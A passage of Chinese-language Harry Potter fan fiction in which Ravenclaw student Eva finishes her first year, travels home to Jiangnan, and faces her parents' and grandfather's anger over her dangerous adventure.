Eva小口吃着面前的食物,烤牛肉很嫩,肉汁浓郁,但她有些食不知味。曼蒂在旁边兴奋地计划着暑假要如何向家人炫耀学院杯的事,声音像快乐的背景音。 她脑子里还在回放刚才邓布利多教授的话。 “……对同伴的忠诚守护。” 她想起昨晚黑暗中扑向哈利的冰冷黑雾,想起自己挡上去时脑子里近乎空白的决绝。没有权衡利弊,没有计算得失,就像禁林里冲向蜘蛛的螯肢,就像棋盘上举起魔杖迎向落下的石杖。 爷爷在信里说:守中非袖手。 也许她还没有完全参透“守中”的深意,但她好像模糊地触到了一点边界——有些线,当你看到朋友站在线的那一边,面对黑暗时,所谓的“守中”,或许就意味着,你不能只是站在安全的地方看着。 晚宴持续了很长时间。当各种派、布丁、冰淇淋和水果被扫荡一空,天色早已完全黑透,魔法灯笼的光芒变得更加柔和朦胧。 邓布利多教授再次站起身,礼堂渐渐安静下来。 “现在,时间已经不早了。”他微笑着说,“明天一早,霍格沃茨特快列车将在九点钟准时出发。请大家不要睡过头,错过列车可就麻烦了。” 他顿了顿,声音温和而清晰:“祝大家度过一个愉快而安全的暑假。我们九月一日再见。” 学生们开始陆续离开礼堂,兴奋的交谈声和行李箱轮子滚动的声音回荡在走廊里。拉文克劳的队伍走在最前面,每个人脸上都带着自豪的笑容。Eva和曼蒂跟着人流,慢慢走回塔楼。 公共休息室里,壁炉燃着温暖的火焰。几个高年级学生在讨论下学期要选的选修课,几个一年级新生在玩巫师棋,棋子们吵吵嚷嚷。气氛轻松而满足,带着假期前特有的松弛感。 Eva走到那扇熟悉的窗前,望着外面。夜色中的霍格沃茨城堡静谧而美丽,塔楼尖顶指向深邃的星空,窗户里透出的点点灯火,像撒在黑色天鹅绒上的碎钻。 一年了。 从那个趴在伦敦公寓窗台上看灰雾的迷茫女孩,到如今站在霍格沃茨最高塔楼窗边看星空的拉文克劳一年级生。 她学会了让羽毛跳舞,让石头变形,熬制复杂的药水,照料奇妙的植物。她交到了可以并肩面对巨怪和蜘蛛的朋友,也经历了地下深处的黑暗与生死一线的抉择。她失去了整整一百分,又和朋友们一起,凭勇气和一点运气,为学院赢回了荣耀。 手腕上的玉佩贴着皮肤,提醒着她的根在遥远的水乡。 书桌上的紫竹笔静静躺在盒中,提醒着她要走的道路还长。 而前方,还有六个这样的学年,无数的知识、挑战、友谊与未知在等待。 “Eva,”曼蒂的声音在身后响起,她走过来,手里拿着一个用深蓝色纸包好的小包裹,上面系着青铜色的丝带,“给你的。暑假礼物。” Eva接过包裹,小心地拆开。里面是一个精致的黄铜星座仪,只有掌心大小,表面打磨得光滑锃亮,刻着精细的星辰刻度。 “拧动这里,”曼蒂指着底部的小旋钮,“它会在黑暗里投影出星座。我想……这样你在家的时候,也能看到和我们塔楼窗外一样的星空了。记得给我写信!” Eva握着微凉的星座仪,心里涌起一阵暖流:“谢谢,曼蒂。我一定会写的。你也要记得给我回信。” “当然!”曼蒂用力点头。 那天晚上,Eva躺在四柱床上,听着曼蒂逐渐平稳悠长的呼吸声,却很久没有睡着。 窗外的夜风穿过塔楼高高的窗缝,发出呜呜的轻响,像在吟唱一首送别的歌。 明天,她就要踏上归途。 回到江南,回到爷爷那座白墙黑瓦的老宅,坐在郁郁葱葱的槐树下,喝着清茶,慢慢告诉他这一年的故事——关于会动的楼梯和会说话的画,关于聪明的帽子和蓝色的星辰,关于朋友和冒险,关于黑暗与守护。 然后,夏天过去,她会再次登上那列深红色的蒸汽火车,穿过9又3/4站台的墙壁,回到这座石墙之内,继续她的旅程。 学习,成长,探索。 一步一步来。 她闭上眼睛,指尖轻轻触碰到枕边冰凉的玉佩。 温润的,安稳的,像一个沉默的承诺。 霍格沃茨第一学年的篇章,在星空与灯火中,缓缓合上。 而新的故事,正等待着被书写。 29. 归途与起点 暑假前的最后一个早晨,拉文克劳塔楼在疲惫中醒来。 Eva是被身体的酸痛唤醒的,每一处肌肉都在抗议昨晚的过度消耗。她躺在床上,缓缓吸气,试图调动体内那股“炁”。回应她的只有滞涩的流动,像被淤泥堵塞的溪流,勉强运行一周后,疲惫感反而更深了。腕间的玉佩贴着皮肤,触感比平时凉,光泽暗淡,像蒙了一层薄灰。 窗外的晨光还是灰蓝色,宿舍里已有窸窣声响。丽莎正费力地将最后一件毛衣塞进快炸开的箱子,帕德玛用软布仔细包裹香料茶包。曼蒂坐在床边,手里拿着那个黄铜星座仪——旋钮转动,天花板上投出一小片模糊的夏季星图,在渐亮的晨光中淡得几乎看不见。 “到家就看不这么清了,”曼蒂小声说,语气里有不舍,“威尔士夏天总是多云。” Eva撑起身,动作比平时慢。深蓝色行李箱立在床脚,里面整齐收着一年的痕迹:课本、笔记、箱底的青色素袍和旗袍、弗立维教授送的黄铜砝码用绒布仔细包着。爷爷的紫竹笔盒贴身放在书包内袋,绢帛笔记就在旁边。素雪的笼子在书桌上,雪鸮已经醒了,正用琥珀色的眼睛静静看她梳理羽毛——Eva梳头时手臂发酸,最简单的动作都变得费力。 “该下楼了,”丽莎看了眼沙漏钟,“七点半,列车九点开。” 她们最后一次环顾这间圆形寝室。四张深蓝色帷幔的四柱床,床单已扯平,枕头拍松。窗边书桌空荡荡,只剩一层薄灰。高高的窗外,黑湖水面泛着细碎银光,远处禁林边缘笼在淡青色晨雾里。 “九月见。”帕德玛轻声说,挨个拥抱。 “一定写信!”曼蒂抱紧Eva,眼圈微红。 “嗯。”Eva点头,感到曼蒂怀抱的温暖短暂驱散了身体的寒意。 下楼时,行李箱轮子在石阶上磕绊。Eva推得有些吃力,手臂微微发抖。公共休息室已挤满人,行李车堵在门口,蓝青铜围巾在晨光中晃动。 罗伯特·希利亚德站在门边核对名单:“Eva,曼蒂,丽莎,帕德玛——齐了。跟紧队伍。” 橡木门今天一直敞开。青铜鹰形门环静静悬挂,鹰眼半闭,像在打盹。没有提问,没有谜语——假期的特权。 走廊里人声鼎沸。箱子轮子咕噜作响,猫在笼中不安叫唤,猫头鹰扑翅声从各处传来。空气里混着烤面包香、羊皮纸墨水和假期特有的躁动。 Eva推着小车,跟随拉文克劳队伍缓慢挪动。经过三楼拐角,一幅画像里的老巫师正对着一幅小画像发脾气:“我说了多少次,画框要朝南!阳光对颜料好!” “可朝南会被那傻笑的修女挡住!” “那就让她挪!” Eva嘴角微弯。这些会吵架的画像,也是霍格沃茨的一部分。 早餐的礼堂喧闹异常。长桌上堆满简单食物:烤面包、煎蛋、燕麦粥、南瓜汁。学生们匆匆吃着,眼睛不时瞟向门口。 Eva在拉文克劳长桌坐下,拿了片烤面包,慢慢涂黄油。手臂的酸痛让这个简单动作都需格外专注。她看向格兰芬多长桌——哈利、罗恩和赫敏坐在一起,正快速进食。哈利额上的新绷带在晨光中显眼,但他笑得很开心,绿眼睛亮晶晶的,听罗恩说着什么。赫敏边吃边翻一本小册子,大概是暑假书单。 斯莱特林长桌那边,马尔福独自坐在末端,面前只一杯清水。他吃得慢,动作机械,灰眼睛盯着盘子,一次没抬头。克拉布和高尔坐在不远处,想说什么又不敢,埋头猛吃。 教师席上,教授们都在。邓布利多正和麦格低声交谈,银白长胡子在晨光中闪亮。斯内普坐在最边上,黑眼睛缓缓扫视礼堂,目光在哈利身上停顿,又在Eva脸上停留一瞬——很短,但Eva感到那种审视,带着某种评估的意味。然后他移开视线,端起杯子。 弗立维教授飘过拉文克劳长桌,看见Eva,尖嗓子高兴地说:“暑假快乐,张小姐!记得预习‘软化咒’进阶,下学期我们学‘硬化咒’,正好相反!” “我会的,教授。”Eva说,声音比预想的轻。 “好孩子。”弗立维教授笑着飘走。 八点,麦格教授起身,声音洪亮:“前往国王十字车站的学生,现在到门厅集合!级长带队,保持秩序!” 礼堂里椅子拖动声一片。学生们抓起最后一口食物,背上书包,推着行李车涌向门口。 门厅水泄不通。四个学院学生混杂,箱子堆成小山,猫头鹰笼子摇晃。费尔奇拖着洛丽丝夫人在人群中吆喝:“别堵路!往前走!” “Eva!曼蒂!” 赫敏挤过来,棕色卷发有些乱,怀里抱着书。“暑假记得写信!我打算把《魔法史》从头看一遍,宾斯教授讲太快,好多细节没听清……” “你还要看书?”罗恩跟来,做夸张鬼脸,“暑假是用来玩的!” 哈利也挤过来,绿眼睛看着Eva,笑了笑:“暑假快乐。” “暑假快乐。”Eva说。沉默了几秒。太多话,不知从何说起。昨晚地下深处的事,像一块共同烙印烫在心里,谁也没提。 “我会写信。”哈利最后说,声音认真。 “嗯。”Eva点头。 级长们组织队伍出门。巨大橡木门敞开,六月阳光洒入。学生们推车下台阶,草坪绿得发亮。 一百多辆无马拉的马车已等在门口。拉车的是夜骐——Eva现在能看见了,那些骨瘦如柴、长蝙蝠翅膀的黑马,眼睛空洞苍白。她知道,能看见夜骐的人,都见证过死亡。她想起禁林里独角兽空洞的眼,想起奇洛溃烂的脸,心沉了沉。 她和朋友们挤上一辆马车。车厢窄,行李箱占大半空间,四人膝盖相碰。夜骐迈步,马车轻晃,沿车道驶向校门。 Eva回头。霍格沃茨城堡在晨光中矗立,塔楼尖顶指向湛蓝天空,窗户像无数眼睛,静静看他们离开。黑湖波光粼粼,禁林树冠连绵深绿。 这一年,像一场漫长而真实的梦。 马车穿过校门,驶上通往霍格莫德车站的路。两旁绿野绵延,远处山坡羊群如白点。风柔,带着青草野花香。 车站已挤满学生。深红色霍格沃茨特快喷着白烟,车头闪亮。蒸汽嘶嘶,混着煤烟味飘散。 “快!上车找座!”穿制服的工作人员吹哨指挥。 Eva和朋友费力地将箱子搬上列车踏板。车厢同样拥挤,学生跑来跑去,猫窜腿间,猫头鹰扑笼。 她们在中段找到空包厢,把箱子堆上行李架。素雪笼子放窗边,雪鸮安静站着,琥珀眼睛看窗外。 “终于坐下了。”曼蒂瘫在座上,长舒口气。 丽莎从包里掏出一盒乳脂软糖分给大家。糖很甜,奶味浓。Eva接过,放入口中,甜味化开,但喉咙发紧,吞咽有些困难。 列车发出长汽笛,车身一震,缓缓开动。 窗外景色开始移动:霍格莫德村小屋渐远,然后是田野、树林、小河。阳光很好,天空淡蓝,飘着蓬松白云。 Eva靠窗,手指无意识摸腕上玉佩。玉佩温凉,暗淡依旧。她试着调动“炁”——那股溪流流动滞涩,像被什么堵着。疲惫感随车厢晃动阵阵袭来,她闭上眼,深呼吸。 “你不舒服吗?”曼蒂注意到她苍白脸色和眼下阴影,小声问。 “就是累。”Eva轻声说。 “昨晚肯定没睡好,”丽莎理解道,“我也是,半夜梦见考试,一题不会。” 她们聊起暑假计划。丽莎要去法国南部,帕德玛回印度看祖父母,曼蒂帮妈妈照顾新生妹妹。Eva说回江南爷爷家。 “江南什么样?”帕德玛好奇。 “有水,有船,有老房子,”Eva慢慢描述,感觉说话费力,“夏天热,但老宅院子有槐树,树下凉快。爷爷会在院子里写字,磨墨声沙沙的。” “听起来很宁静。”帕德玛说。 列车哐当前进。卖零食的小推车来了,她们买了巧克力蛙和南瓜馅饼。巧克力蛙跳来跳去,得赶紧抓住塞进嘴。Eva抽到“张道陵”卡片,老道士穿道袍持拂尘,背景云雾山峦。她小心收好卡片。 中午,她们分享各自食物:丽莎的乳脂软糖,帕德玛的香料茶和薄饼,曼蒂的妈妈做的威尔士蛋糕,Eva的芝麻糖和绿豆糕。味道混杂,但大家开心。Eva没胃口,只勉强吃了点,胃里沉甸甸的。 下午,列车穿过雨云。豆大雨点噼啪打车窗,窗外景色模糊成流动绿色。车厢昏暗,丽莎点起阅读灯,橘黄光晕开一片温暖。 雨很快停,太阳又出。窗玻璃挂水珠,在阳光下闪如钻石。 Eva靠窗,看水珠滑落。这一年画面闪过:分院帽低语,第一次握紫杉木魔杖的热流,万圣节巨怪恶臭,魁地奇球场哈利抓飞贼的瞬间,禁林蜘蛛幽绿复眼,昨晚黑暗中扑来的冰冷黑雾…… 这些画面像散落拼图,还没拼好。她不急。爷爷说过,有些事需要时间才能看清全貌。 昨晚的冒险不止是一段拼图。医疗翼里,邓布利多温和告知,已通过飞路网络紧急联系她父母,告知大致经过。这意味着,爸爸妈妈现在知道了——女儿违背意愿,不仅没置身事外,反参与如此危险的行动,甚至差点…… 想到这里,Eva心往下沉。身体疲惫外,又添一层沉重。她能想象爸爸得知消息时紧抿的唇和严肃眼神。他不是巫师,对魔法世界危险了解有限,但他最清楚,作为“象征”和外交官的女儿,她该遵循的原则:安稳,低调,不惹麻烦。 她违背了所有。 列车继续向北。窗外景色渐变——田野少,房子多,颜色从鲜绿变灰绿。天空也不再那么蓝,蒙上淡淡灰雾。 快到伦敦了。 Eva感到一阵没来由的紧张,胃轻微抽搐。她看向窗外流动的灰暗街景,试着深呼吸,但胸口的滞闷感没缓解。 学生们开始收拾,车厢又忙起来。Eva慢慢收零食包装纸,检查素雪笼子,背好书包。每个动作都迟缓,像在水下完成。 列车减速,窗外房子越来越密,最后驶入昏暗站台——国王十字车站。 汽笛长鸣,列车停稳。 “到了!”曼蒂站起,踮脚拖行李。 车门开,嘈杂人声涌来。站台挤满接站家长,呼喊、笑声、猫头鹰叫混成一片。 她们费力搬箱子下车。站台地面湿,空气煤烟雨水混合味。Eva推车,目光在人群中搜寻。手臂因用力微微发抖。 “丽华。” 声音从侧前方传来,不高,但清晰。Eva转头。 爸爸站在那里。深色呢子大衣,领口立着,遮住部分下颌。他没笑,嘴唇抿成平直线。眉头几不可察地蹙着,不是疲惫,而是紧绷的、审视般的严肃。他的目光落在Eva脸上,像检查一件出现意外瑕疵的重要物品,又像确认她是否真的完好站在这里。那眼神有关切——父亲的本能——但关切被一层更浓重的、混合后怕、不赞同和未消散怒意牢牢压着。 妈妈站在爸爸侧后半步,脸上惯有的温和笑容不见,取而代之是显而易见的忧虑和一丝苍白。她看Eva,嘴唇动了动,似乎想立刻上前拥抱,但又下意识看身旁丈夫紧绷侧脸,脚 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Eva对哈利方向轻轻点头。哈利似乎感应到,目光转来,看到她这边情景,他脸上笑容收敛,绿眼睛闪过一丝了然和同情,也对她也点了点头。 然后Eva就被爸爸妈妈带着,走向9又3/4站台墙壁。爸爸推车,步伐很快,毫不犹豫撞向砖墙——穿过那层凉凉的有弹性的水膜。这一次,穿越的感觉比以往更滞重,Eva眼前短暂发黑,不得不扶住墙壁站稳。 又回到麻瓜世界。 嘈杂但平常的人声,水泥地面,电子显示屏,咖啡和柴油味。一切真实,又陌生。 素雪在笼里动了动,琥珀眼睛警惕看周围。 爸爸把车停一边,对紧跟出来的妈妈说:“你和丽华等这里。”然后他走向不远处路边的黑色轿车。陈叔叔已下车,快步迎上。爸爸和他简短几句,陈叔叔点头,表情变严肃,快步来拿行李。 爸爸走回,对Eva说:“上车。”还是那两个字。 Eva坐进后座。妈妈也进来,挨着她,轻轻握住她的手,但没说话,只担忧地看丈夫。 爸爸坐副驾驶位,关门。 车里陷入低气压沉默。只有雨刷在挡风玻璃上规律摆动,发出轻微嚓嚓声。窗外伦敦笼罩在灰蒙蒙雨雾中。 车子启动,驶入车流。爸爸没回头,背影僵硬挺直。 大约五六分钟,当车子拐上一条相对安静的路时,爸爸的声音从前排传来,依然没回头: “邓布利多教授联系了我们。” 他停顿,像斟酌每个字的重量。 “他说你很勇敢。” Eva的心提起。这不像夸奖。 果然,下一句语气陡然转冷,带着压抑的怒气和后怕: “他还说,你差点没命。” 妈妈的手一下子攥紧Eva的手指。 车厢里空气凝固了。雨刷声、引擎嗡鸣,此刻都清晰得刺耳。 “我和你妈妈送你来这里,”爸爸的声音因情绪波动微微提高,但他很快控制住,只是语气里的沉痛和失望更明显,“是希望你学习知识,安稳成长。不是让你去逞英雄,去触碰那些连成年巫师都避之不及的危险!” 他深吸一口气,这次声音里带了颤抖: “‘记住你是谁’,丽华。我们说过的话,你爷爷说过的话,你是不是都忘了?你的身份,你的责任,是让你谨慎行事,不是让你把自己一次次扔进巨怪嘴里,扔到黑巫师面前!” “谦……”妈妈小声想劝,但看着丈夫紧绷的肩膀,住了口。 “你知道我们接到消息时是什么感受吗?”爸爸终于侧过一点头,眼角严厉的余光扫过后座,“你妈妈差点晕过去。东欧那边局势正紧,我这边工作焦头烂额,还要提心吊胆,生怕下一个消息就是……” 他声音哽住,转回头,看着前方湿漉漉的道路。肩膀几不可察地塌下一瞬——那是父亲极度疲惫和后怕的微小流露。 “丽华,你也不是小孩子了,”他再开口时,声音恢复了冷静,却更显疏离,“该明白我们的身份。你的任何一点出格行为,都可能被放大、被曲解,带来我们谁都不想看到的麻烦。” 沉默再次笼罩。Eva低下头,看着自己被妈妈紧握的手。腕上玉佩传来细微凉意。身体的疲惫和此刻心里的沉重混在一起,让她几乎说不出话。胃在抽搐,喉咙发紧。 她很小声地说:“……对不起,爸爸。对不起,妈妈。” 声音轻得像耳语。 妈妈红着眼圈,轻轻拍她的手背,无声叹气。 “这个暑假,”爸爸最终用一种不容商量的语气说,“你待在爷爷那里。哪儿也不准去。好好想想你这一年的所作所为。下学期……再看。” 他没再说下去。 车子在沉默中继续行驶。雨刷划出单调固执的弧线,引擎低沉嗡鸣,填充着车厢里凝固的、令人窒息的沉默。窗外伦敦笼罩在灰蒙蒙雨雾中,熟悉的街景变得模糊陌生,就像刚刚过去的那一学年,惊心动魄却又似乎隔了一层毛玻璃,变得不太真实。 Eva靠在座椅上,感到疲惫如潮水般涌来。她闭上眼,霍格沃茨的梦境远去——那座有会动楼梯和会说话画像的城堡,连同里面所有的秘密、友谊与未完的冒险,都被暂时留在了这片雨雾之后。 九月一日,还会再来。 但有些东西,已经不一样了。 车轮碾过湿漉漉的街道,驶向的不仅是归途,也是一场需要面对和化解的家庭风暴的起点。 归途已至,但家的温暖,隔着一层厚重且尚未融化的冰。 30. 江南的静水 车子在湿漉漉的公路上开了很久。 雨时下时停。玻璃窗上水痕交错,外面的世界一会儿清晰一会儿模糊。田野变成小镇,小镇变成城市边缘,又变成更远的田野。Eva靠着车窗,眼皮沉沉地坠着。素雪在笼子里发出轻微的咕咕声,琥珀眼睛半闭。 她听见爸爸妈妈在前面低声说话,声音压得很低,像怕吵醒她,但又实在忍不住要说。 “……太危险了,张谦,那可是黑巫师!” “我知道。但邓布利多说……” “邓布利多说!那是英国巫师的说法!我们呢?我们送她去是学习,不是让她当英雄!” “小声点,孩子睡着呢。” “我睡不着!我一闭眼就想到那些信里没写的东西——什么三头犬,什么巨怪,什么会杀人的黑雾……她才十一岁!” “麦格教授也写信了,说她会严格管教……” “管教?我看是纵容!那个什么‘学院杯’,还给加分?这是在鼓励什么?” 声音又低了,变成模糊的嗡嗡。Eva把脸贴在冰凉的车窗上。雨点敲打着玻璃,嗒嗒嗒,像心跳。 不知道过了多久,车停了。 不是家,是机场。 希思罗机场在雨天里像个巨大的灰色蜂巢。爸爸下车,打开后备箱,把行李箱和猫头鹰笼子提出来。陈叔叔也下车帮忙。 “机票是晚上十点的,直飞上海。”爸爸对妈妈说,声音恢复了外交官式的平稳,“你先陪丽华进去,我去办手续。” 妈妈点点头,从车里拿出一个保温瓶:“喝点热水,丽华。脸色太白了。” 水是温的,有淡淡的姜味。Eva小口喝着,感觉喉咙的紧绷稍微缓解了些。 素雪的笼子被套上了一个特制的黑色布罩——这是魔法部批准的伪装,为了在麻瓜机场不引起注意。布罩上有几个小小的透气孔,素雪在里面不安地动了动。 “委屈你了,素雪。”Eva轻声说。 机场大厅里人来人往,各种语言混杂,行李箱轮子咕噜响。Eva跟在妈妈身边,爸爸拿着护照和机票走在前面。他走得很稳,每一步都像量过,但Eva注意到他握文件的手指很用力,指节都泛白了。 托运行李时,工作人员好奇地看了眼素雪的笼子:“这是什么宠物?” “猫头鹰。”爸爸平静地说,递上文件,“特殊许可。” 文件上有英国魔法部的印章和麻瓜政府的外交通道章。工作人员检查了一下,点点头,贴上了行李标签。 “它会安静的,对吧?” “非常安静。”爸爸说。 过安检时,Eva的魔杖和紫竹笔引起了注意。爸爸又拿出另一份文件——这次是两国魔法部联合签发的“特殊学习用品通行许可”。安检人员仔细检查了魔杖(看起来像根精致的木雕)和紫竹笔(看起来像古董文具),最后放行了。 候机室里,时间过得很慢。窗外的雨还在下,跑道上飞机起起落落,引擎声闷闷地传来。Eva坐在椅子上,膝盖上摊着一本《初级变形术原理》,但没看进去。旁边的电视在放新闻,声音嗡嗡的。 “东欧局势持续紧张……各国代表呼吁……” 爸爸看着电视屏幕,眉头又皱了起来。妈妈从包里拿出一条薄毯子,轻轻盖在Eva腿上。 “冷吗?” “不冷。”Eva说,但其实手脚都冰凉。那股滞涩的“炁”在体内缓慢流动,像冬天的溪水,表面结着薄冰。 晚上九点半,开始登机。飞机很大,座位靠窗。Eva把素雪的笼子放在脚边——爸爸特意选了宠物可以随舱的航班,虽然多花了不少钱。 飞机起飞时,伦敦的灯火在舷窗外越来越小,最后变成一片模糊的光点,消失在云层下。机舱里灯光调暗,乘客们开始休息。 Eva睡不着。 她闭上眼睛,脑海里浮现的是昨晚地下房间的画面:奇洛后脑勺上那张扁平的脸,黑雾扑来的冰冷,玉佩突然的滚烫,还有自己挡上去时脑子里近乎空白的决绝。 然后画面切换:麦格教授严肃的脸,邓布利多温和但不容置疑的叮嘱,哈利额头上裂开的疤痕,罗恩和赫敏担忧的眼神…… 还有爸爸妈妈刚才在车里的对话。 “……她才十一岁!” 是啊,她才十一岁。在霍格沃茨,她可以学魔法,可以和朋友一起冒险,可以因为“勇敢”被加分。但在这里,在爸爸妈妈眼里,她只是他们的女儿,一个差点没命的十一岁孩子。 机舱轻微颠簸。空乘推着小车轻声询问是否需要饮料。妈妈要了杯热茶,爸爸摇摇头,继续看手里的文件——不是工作文件,是霍格沃茨这一年寄来的所有信和通知,他正在重新整理。 “看看这个,”爸爸把一份羊皮纸复印件递给妈妈,“麦格教授十一月写的,说她在变形术上‘天赋异禀但控制力需加强’。那时候我们就该警觉……” “警觉什么?”妈妈小声反驳,“孩子学得好也有错?” “不是学得好有错,是这种‘天赋’会让她……与众不同。而在那种地方,与众不同可能是危险的。” Eva假装睡着了,眼皮轻轻颤动。透过睫毛缝隙,她看见妈妈把那份羊皮纸折好,放回文件袋,手指在袋口停留了很久。 飞机穿过云层,偶尔的颠簸让素雪在笼子里发出轻微的扑腾声。Eva把手伸下去,隔着布罩轻轻碰了碰笼子。素雪安静下来。 漫长的飞行。吃过简单的飞机餐(鸡肉饭,味道很淡),喝了水,Eva真的睡着了。梦里没有霍格沃茨,没有魔法,只有江南老宅院子里那棵槐树,叶子沙沙响。爷爷坐在树下磨墨,墨香淡淡的。她想走过去,但脚像陷在泥里,怎么也走不动。 醒来时,窗外天已经亮了。云海在下方铺展开,像无边无际的白色棉絮,边缘被初升的太阳染上淡淡的金红色。 “快到了。”妈妈轻声说,递给她温热的湿毛巾,“擦擦脸。” 上海浦东机场在晨光中显得格外庞大。飞机降落时,Eva感到耳朵一阵发闷。舱门打开,潮湿温暖的气息涌进来——和伦敦阴冷的夏天完全不同。 取行李,过海关,又是一轮检查。素雪的笼子再次引起注意,但这次爸爸拿出了中文文件,工作人员看了看,点点头放行。 机场外,一辆黑色轿车已经在等。开车的是个年轻叔叔,Eva不认识,但爸爸和他握了握手:“辛苦了,小陈。” “应该的,张处。” 又是车程。这次的路Eva熟悉些——从上海到江南老家,要开两个多小时。高速公路两边的风景从城市变成郊野,再变成水乡特有的景致:稻田,鱼塘,白墙黑瓦的村庄,蜿蜒的小河。 空气越来越湿润,带着青草、水和淡淡炊烟的味道。Eva摇下车窗,深深吸了一口气——这才是家的味道。 车子开不进老宅所在的古镇,只能在镇口停下。青石板路窄窄的,行李箱轮子在上面磕磕绊绊。爸爸提着大箱子,妈妈拎着素雪的笼子,Eva背着书包,三人沿着河边慢慢走。 早晨的古镇刚醒来。有老人在河边打太极拳,动作慢得像水流动。有妇女在石阶上洗衣服,棒槌敲得啪啪响。早餐摊飘出油条和豆浆的香味。几个小孩光着脚跑来跑去,看见他们,好奇地停下脚步看。 老宅在古镇深处,拐过三个弯,走过一座小石桥就到了。白墙有些地方剥落了,露出里面青灰色的砖。黑瓦上长着薄薄的青苔。木门虚掩着,铜环泛着暗沉的光。 爸爸推开门。 院子里,爷爷正坐在槐树下。 他没有在写字,也没有在看书,只是坐在那张老藤椅上,手里端着一杯茶,眼睛望着院墙外一角天空。晨光透过槐树叶子的缝隙洒下来,在他洗得发白的青布道袍上投下斑驳的光影。 听见门响,爷爷转过头。 他的目光先落在Eva脸上,停留了几秒。那双总是清亮的眼睛里,此刻有种Eva看不懂的复杂情绪——不是责备,不是心疼,是更深沉的、像潭水一样的东西。 然后他看向爸爸妈妈,点点头:“回来了。” 没有拥抱,没有激动的问候。爷爷只是放下茶杯,站起身,走到Eva面前,伸出手,像去年夏天那样,摸了摸她的头。 手掌很大,有点粗糙,很暖。 “累了。”他说,不是问句。 Eva点点头。 “先进屋。”爷爷转身,朝堂屋走去。 堂屋里还是老样子:深色家具,墙上的字画,案几上的瓷瓶,瓶里插着新鲜的荷花——大概是早上刚摘的,花瓣上还带着露水。空气里有木头、旧书和淡淡荷花香混合的味道。 妈妈把素雪的笼子放在窗边,打开布罩。素雪跳出笼子,站在横杆上,琥珀眼睛好奇地打量新环境。 “一路还顺利?”爷爷在太师椅上坐下,示意他们也坐。 “顺利。”爸爸说,语气比在伦敦时缓和了些,但脊背还是挺得笔直,“就是这孩子……得好好休息。” 爷爷看了Eva一眼:“脸色是不好。伤着了?” “没有受伤,”Eva小声说,“就是……累。” “心力耗得太多,”爷爷慢慢说,手指在扶手上轻轻敲着,“比身体受伤更难养。”他顿了顿,“先去洗个热水澡,换身舒服衣服。你奶奶留下的药柜最上层,左边数第三个青瓷罐,抓一小撮,泡澡用。” Eva点点头,上楼。她的房间在二楼东侧,窗户对着后院的小池塘。房间打扫得很干净,床单是新换的,有阳光的味道。书桌上摆着那套文房四宝,砚台里还有干涸的墨迹——是去年临走前练字留下的。 她从行李箱里拿出那套青色道袍——在霍格沃茨一年没穿过了。料子摸起来凉丝丝的,袖口的云纹绣得很精致。换上道袍,感觉整个人都松了些。校袍的厚重和正式,在这里显得格格不入。 下楼时,爷爷已经去了后院。爸爸妈妈在厨房里低声说话,妈妈在烧水,爸爸在整理带回来的东西。 后院的小浴室是后来加盖的,不大,但很干净。木桶里已经放了热水,水面漂着几片晒干的草药叶子,散发出清苦的香气。Eva认出是安神草和宁心花——爷爷常用来帮助心神不宁的病人。 她泡进热水里,草药的香气随着蒸汽升腾。温热的水包裹着身体,肌肉的酸痛慢慢缓解。她闭上眼睛,试着调动体内的“炁”。 还是滞涩。 像一条小溪,冬天结了冰,春天来得晚,冰还没完全化开。水流勉强在冰层下流动,但很慢,很费力。 爷爷说得对,心力耗得太多。昨晚挡下那团黑雾,不只是魔力消耗,是更深层的什么东西被触动了——像玉佩的力量,像她自己的“炁”,还有别的什么,她说不清。 泡了大概二十分钟,水开始变凉。Eva起身擦干,换上干净的居家衣服——棉布裤子,素色上衣,都是妈妈提前准备好的。 回到堂屋时,早饭已经摆好了:清粥,小菜,蒸糕,还有爷爷自己腌的咸鸭蛋。很简单,但都是家里的味道。 四个人安静地吃饭。筷子碰碗的轻微声响,喝粥的吸溜声,窗外偶尔传来的鸟叫声。 爸爸先开口:“爸,关于丽华这一年的事……” “吃完饭再说。”爷爷打断他,夹了一筷子腌黄瓜放进Eva碗里,“先吃饭。食不言。” 于是继续安静。Eva小口喝着粥,米熬得很烂,入口即化。咸鸭蛋的蛋黄流油,咸香适口。蒸糕松软,带着淡淡的甜味。 吃完饭,妈妈收拾碗筷,爸爸和爷爷去了书房。门虚掩着,Eva听见里面传来低低的说话声。 她走到后院,在槐树下的石凳上坐下。素雪从屋里飞出来,落在她肩头,轻轻叫了一声。 早晨的阳光已经很亮了,透过槐树叶洒下细碎的光斑。池塘里的荷花开了几朵,粉粉的,在绿叶子中间很显眼。有蜻蜓在水面上点来点去。 一切都和去年夏天一样。 但又不一样了。 她在霍格沃茨待了一年。学了魔法,交了朋友,经历了生死。现在坐在这里,看着熟悉的一切,却觉得隔着什么——像戴了一副度数不对的眼镜,看什么都有些模糊,有些距离。 书房的门开了。爸爸先走出来,脸色比刚才更严肃。爷爷跟在后面,表情平静,但眼神很深沉。 “丽华,过来。”爷爷说。 Eva起身走过去。三个人在堂屋坐下,妈妈也过来了,坐在Eva旁边,轻轻握住她的手。 “你爸爸把情况都跟我说了。”爷爷慢慢开口,声音不高,但每个字都听得很清楚,“霍格沃茨的事,昨晚的事,还有……那团黑雾。” 他顿了顿,目光落在Eva手腕上。玉佩在居家衣服的袖口下露出一角。 “把玉佩给我看看。” Eva取下玉佩,递给爷爷。玉佩比平时暗淡,太极图的纹路似乎也模糊了些。 爷爷仔细看了看,又用指尖轻轻摸了摸玉佩表面,闭上眼睛感受了几秒。 “守护之力消耗很大,”他睁开眼,“但根基还在。需要时间温养。”他把玉佩还给Eva,“贴身戴着,别离身。平时多用你的‘炁’去温润它,像养玉一样。” “是。”Eva接过玉佩,重新戴好。 “至于你,”爷爷看着她,“心力损耗,比玉佩更严重。‘炁’滞涩,神不宁,这是强行调用根本力量的后遗症。好在年轻,底子好,能养回来。但这个暑假……” 他顿了顿,看向爸爸妈妈:“哪儿也别去了。就在家里,静养,读书,练字,帮家里做点轻省活计。学校那些事,暂时都放下。” 爸爸立刻点头:“我也是这个意思。太危险了,不能再……” “危险不危险,不是你能决定的。”爷爷平静地打断他,“孩子长大了,有自己的路要走。我们能做的,是教她怎么走得更稳,不是把她关起来。” 爸爸张了张嘴,想说什么,但看到爷爷的眼神,又闭上了。 “但是,”爷爷转向Eva,语气严肃起来,“你这次确实鲁莽了。‘守中持正’,我教过你的话,看来是没往心里去。看到朋友有危险,想帮忙,这没错。但不顾自身能力,强行介入超出你层次的危险,这就是蠢。” Eva低下头,手指绞在一起。 